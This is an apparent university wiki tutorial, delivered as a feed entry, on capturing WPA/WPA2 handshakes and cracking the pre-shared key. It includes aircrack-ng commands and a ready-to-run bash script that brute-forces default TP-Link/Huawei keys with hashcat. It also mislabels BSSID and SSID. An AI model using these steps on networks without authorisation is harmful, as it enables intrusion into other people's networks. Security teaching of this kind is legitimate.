<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=RSchuller</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=RSchuller"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/RSchuller"/>
	<updated>2026-09-10T06:23:35Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17586</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17586"/>
		<updated>2024-12-18T18:21:44Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Aircrack-ng */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
- Install aircrack-ng suite: &lt;br /&gt;
* Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.&lt;br /&gt;
 &lt;br /&gt;
  sudo airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
Alternatively create a monitoring device by using:&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called &amp;quot;wlan0mon&amp;quot; or on a different setup &amp;lt;YOUR DEVICE NAME&amp;gt;mon. This is the actual monitoring device.&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   sudo airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   sudo airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
Explaination: -c selects the Channel on which the router is sending, --bssid is the MAC Address of the Router -w shows the Mode &amp;quot;PSK&amp;quot; and wlan0mon is the capturing device. &lt;br /&gt;
With this command, airodump-ng records the traffic and saves it into different *.cap files.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   sudo aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   sudo service network-manager restart&lt;br /&gt;
&lt;br /&gt;
Alternatively on systemd:&lt;br /&gt;
&lt;br /&gt;
   sudo systemctl restart network-manager&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
